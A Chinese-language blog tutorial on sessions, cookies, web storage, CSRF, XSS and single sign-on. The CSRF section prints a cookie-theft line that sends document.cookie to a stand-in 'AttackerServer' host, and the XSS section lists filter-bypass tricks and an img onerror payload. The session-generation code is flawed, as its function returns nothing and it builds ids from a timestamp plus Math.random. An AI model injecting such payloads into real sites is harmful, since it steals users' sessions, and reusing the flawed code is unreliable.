session與登入機制

三角度發表於2018-05-13

github 地址:戳這裡

session

概念

  1. 指一類用來在客戶端與伺服器之間保持狀態的解決方案
  2. 這種解決方案的儲存結構

特點

  • 由於 Session 是以文字檔案形式儲存在伺服器端的,所以不怕客戶端修改 Session 內容。(也可以用其他儲存方式比如redis

  • Session物件是有生命週期的

  • Session例項是輕量級的,所謂輕量級:是指他的建立和刪除不需要消耗太多資源

  • Session物件內部有一個快取

用法

Session 物件儲存特定使用者會話所需的屬性及配置資訊,在web頁跳轉時,資訊將不會丟失

通常用於以下操作

  1. 儲存整個會話過程中保持使用者狀態的資訊,比如登入資訊或者使用者瀏覽時產生的其它資訊
  2. 儲存只需要在 頁重新載入 過程中,或者 一組功能頁 之間保持狀態的物件
  3. 在 Web伺服器上保持使用者的 狀態資訊 供在任何時間從任何裝置上的頁面進行訪問。

限制

  1. 使用者登入越多,session需要的記憶體量越大
  2. 每個 Session 物件的持續時間是使用者訪問的時間加上不活動的時間。

為何需要session

HTTP協議本身是無狀態的

舉個喝咖啡的例子:

1、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎麼對待了。這種做法就是協議本身支援狀態。

2、發給顧客一張卡片,上面記錄著消費的數量,一般還有個有效期限。每次消費時,如果顧客出示這張卡片,則此次消費就會與以前或以後的消費相聯絡起來。這種做法就是在客戶端保持狀態。

3、發給顧客一張會員卡,除了卡號之外什麼資訊也不紀錄,每次消費時,如果顧客出示該卡片,則店員在店裡的紀錄本上找到這個卡號對應的紀錄新增一些消費資訊。這種做法就是在伺服器端保持狀態。

具體機制

  1. 當程式需要為某個客戶端的請求建立一個session的時候,伺服器首先檢查這個客戶端的請求裡是否已包含了一個 session標識 - 稱為session id,如果已包含一個session id則說明以前已經為此客戶端建立過session,伺服器就按照session id把這個session檢索出來使用(如果檢索不到,可能會新建一個),如果客戶端請求不包含session id,則為此客戶端建立一個session並且生成一個與此session相關聯的session idsession id的值應該是一個 既不會重複,又不容易被找到規律以仿造的字串 ,這個session id將被在本次響應中返回給客戶端儲存。

  2. 由於cookie可以被人為的禁止,必須有其他機制以便在cookie被禁止時仍然能夠把session id傳遞迴伺服器。經常被使用的一種技術叫做URL重寫

    兩種形式:

    // 作為url附加路徑
    'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
    
    
    // 作為查詢字串
    'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
    複製程式碼
  3. 較老的技術,表單隱藏欄位,此方法在防止csrf中有用

實現

基於cookie來實現使用者和資料的對映

將口令放在cookie中,口令一旦被褚昂愛,就丟失對映關係。通常session的有效期通常短,過期就將資料刪除

一旦伺服器檢查到使用者請求cookie中沒有攜帶session_id,它會為之生成一個值,這個值是唯一且不重複的值,並設定超時時間。如果過期就重新生成,如果沒有過期,就更新超時時間

var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate  = function () {
	var session = {};
	session.id = (new Date().getTime()) + Math.random();
	session.cookie = {
		expire: (new Date()).getTime() + EXPIRES
	}
	sessions[session.id] = session
}

function (req, res) {
	var id = req.cookies[key];
	if (!id) {
		req.session = generate();
	} else {
		var session = sessions[id];
		if (session) {
			if (session.cookie.expire > new Date().getTime()) {
				session.cookie.expire = new Date().getTime() + EXPIRES;
				req.session = session;
			} else {
				delete sessions[id];
				req.session = generate();
			}
		} else {
			req.session = generate();
		}
	}
}
複製程式碼

一種節省空間的做法

由於關閉瀏覽器不會導致session被刪除,迫使伺服器為seesion設定了一個失效時間,當距離客戶端上一次使用session的時間超過這個失效時間時,伺服器就可以認為客戶端已經停止了活動,才會把session刪除以節省儲存空間

reference

http://justsee.iteye.com/blog/1570652

https://baike.baidu.com/item/session/479100?fr=aladdin

https://blog.csdn.net/hjc1984117/article/details/53995816

cookie

儲存在使用者本地終端的資料

http請求自動傳送,跨域除外

用途

客戶端記錄使用者資訊

特點

儲存在硬碟上的cookie可以在不同的瀏覽器程式間共享,比如兩個IE視窗。而對於儲存在記憶體裡的cookie,不同的瀏覽器有不同的處理方式。

屬性

  1. namecookie名稱
  2. valuecookie
  3. domain:可以訪問cookie的域名,某一級域名可以訪問上一級級域名的cookie
  4. expires/Max-Age:過期時間
  5. Sizecookie的大小
  6. httphttponly屬性,為true,不能用document.cookie獲得
  7. secure:為true只能在https獲得
  8. path:子路徑訪問父路徑cookie

建立cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

讀取cookie

document.cookie

修改cookie

document.cookie =

採用覆蓋的形式

刪除cookie

將過期時間設定為過去時間即可

localStoragesessionStorage的區別

  1. 儲存大小

    • cookie資料大小不能超過4k。

    • sessionStoragelocalStorage 雖然也有儲存大小的限制,但比cookie大得多,可以達到5M或更大。

  2. 有效時間

    • localStorage 儲存持久資料,瀏覽器關閉後資料不丟失除非主動刪除資料;

    • sessionStorage 資料在當前瀏覽器視窗關閉後自動刪除。

    • cookie 設定的cookie過期時間之前一直有效,即使視窗或瀏覽器關閉

  3. sessionStorage

    • 會話級別的儲存
    • 臨時性的,頁面開啟有,頁面關閉沒有
    • 資料不共享
    • 通過a標籤來跳出一個頁面,則sessionStorage共享
  4. localStorage

    • 持久化的本地儲存
    • 永久性的儲存
    • 不能跨域
    • 資料共享
  5. cookie

    • cookie在同源且符合path規則的文件之間共享
    • max-age用秒來設定cookie的生存期。
    • 如果max-age為0,則表示刪除該cookie
    • 如果max-age為負數,則表示該cookie僅在本瀏覽器視窗以及本視窗開啟的子視窗內有效,關閉視窗後該cookie即失效。

如何得到cookie

有兩個http頭部是專門負責設定以及傳送cookie的,它們分別是 Set-Cookie 以及 Cookie 。當伺服器返回給客戶端一個http響應資訊時,其中如果包含Set-Cookie這個頭部時,意思就是指示客戶端建立一個cookie,並且在後續的http請求中自動傳送這個cookie到伺服器端,直到這個cookie過期。如果cookie的生存時間是整個會話期間的話,那麼瀏覽器會將cookie儲存在記憶體中,瀏覽器關閉時就會自動清除這個cookie。另外一種情況就是儲存在客戶端的硬碟中,瀏覽器關閉的話,該cookie也不會被清除,下次開啟瀏覽器訪問對應網站時,這個cookie就會自動再次傳送到伺服器端。

cookie伺服器端寫入

//java的寫法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的寫法
setcookie(name,value,expire,path,domain,secure)
複製程式碼

reference

https://my.oschina.net/ososchina/blog/339918

https://blog.csdn.net/dong123dddd/article/details/50388656

csrf(跨站請求偽造)

過程

  1. 使用者c開啟瀏覽器,登入網站a
  2. 登入成功後,記錄登入資訊cookie
  3. 在網站a未退出的情況下,開啟網站b
  4. 網站b在收到使用者請求後返回攻擊性程式碼,獲取網站acookie,併發出請求a網站(注意:這兒是兩步)
  5. 網站a誤以為還是使用者c發出的請求

竊取cookie

向被攻擊者的伺服器頁面上注入一段javascript程式碼(藉助xss跨站指令碼攻擊)

document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
複製程式碼

防禦

  1. 驗證http referer欄位
  2. 在請求地址中新增token

系統開發者可以在HTTP請求中以引數的形式加入一個隨機產生的token,並在伺服器端建立一個攔截器來驗證這個token,如果請求中沒有token或者token內容不正確,則認為可能是CSRF攻擊而拒絕該請求。

  1. HTTP頭中自定義屬性並驗證(不會被洩露)

reference

http://www.freebuf.com/articles/web/11840.html

xss(跨站指令碼攻擊)

分類

  1. 反射型(非持久型)

那些瀏覽器每次都要在引數中提交惡意資料才能觸發的跨站指令碼漏洞。

可以讓一個域名轉向到惡意URL,把那個域名發給使用者

  1. 儲存型(持久型)

指通過提交惡意資料到儲存器(比如資料庫、文字檔案等),Web應用程式輸出的時候是從儲存器中讀出惡意資料輸出到頁面的一類跨站指令碼漏洞。

常見攻擊方法

  1. 繞過xss-filter
  2. 利用img
  3. 空格,回車,tab來繞過過濾
  4. 利用事件如:<img src=“#” onerror= “alert(1)”/>
  5. css跨站:background-url
  6. 利用字元編碼

防禦

  1. xss-filter,過濾標籤 2.httpOnly
  2. 將變數輸出到頁面時,要編碼

reference

http://www.cnblogs.com/wqhwe/p/5416976.html

單系統登入

http無狀態協議

瀏覽器每次請求,伺服器都單獨處理

要鑑別瀏覽器請求,又因為http是無狀態協議,所以需要伺服器和瀏覽器共同維護一個狀態

會話機制

瀏覽器第一次請求伺服器,建立一個會話id,並由瀏覽器儲存,以後每次請求都帶上,伺服器取得後可判斷是否是同一個使用者

單系統利用cookie

登入狀態

瀏覽器第一次請求伺服器,需要驗證使用者名稱和密碼,通過與資料庫裡的作比較,驗證通過將會話標記為“已授權”

以後每次請求都檢查登入狀態

單點登入(多系統登入,single sign onsso)

使用者登入登出一次,就可以在多個系統中得到效果

由於多系統的域不一樣,所有cookie會受到限制,瀏覽器傳送http請求時會自動攜帶與該域匹配的cookie,而不是所有cookie

如果將domain設定為頂級域名會有限制:

  1. 系統群域名得統一
  2. 各系統使用的技術要相同
  3. cookie不安全

登入

相比於單系統登入,sso多了一個認證中心,只有認證中心接受使用者名稱和密碼等安全資訊,其他系統不提供登入入口,只接受認證中心的間接授權。間接授權通過令牌實現,sso認證中心驗證使用者的使用者名稱密碼沒問題,建立授權令牌,在接下來的跳轉過程中,授權令牌作為引數傳送給各個子系統,子系統拿到令牌,即得到了授權,可以藉此建立區域性會話,區域性會話登入方式與單系統的登入方式相同。這個過程,也就是單點登入的原理,用下圖說明

image

使用者登入成功之後,會與sso認證中心及各個子系統建立會話,使用者與sso認證中心建立的會話稱為全域性會話,使用者與各個子系統建立的會話稱為區域性會話,區域性會話建立之後,使用者訪問子系統受保護資源將不再通過sso認證中心

登出

登出

具體跳轉

假設認證中心和系統2的url分別是:sso.com、system2.com ,訪問 system2.com 時因未登入而跳轉到 sso.com ,跳轉地址:http://sso.com?service=http://system2.com(不需要額外資訊),此時,就變成了瀏覽器與 http://sso.com 站點之間的會話,這個會話因為系統1登入的原因已經被標記為已登入,所以認證中心取一塊令牌,根據service引數回跳,並附上令牌,回跳地址:http://system2.com?token=token

如何驗證登入資訊

  1. 不同域之間

  2. 同一域名不同站點

    • 共享cookie
  3. 同一域,不同子域

    • 存放sessionId的域都是上一級的

reference

https://www.cnblogs.com/wxj-106/p/8097880.html

http://www.cnblogs.com/ywlaker/p/6113927.html#!comments

相關文章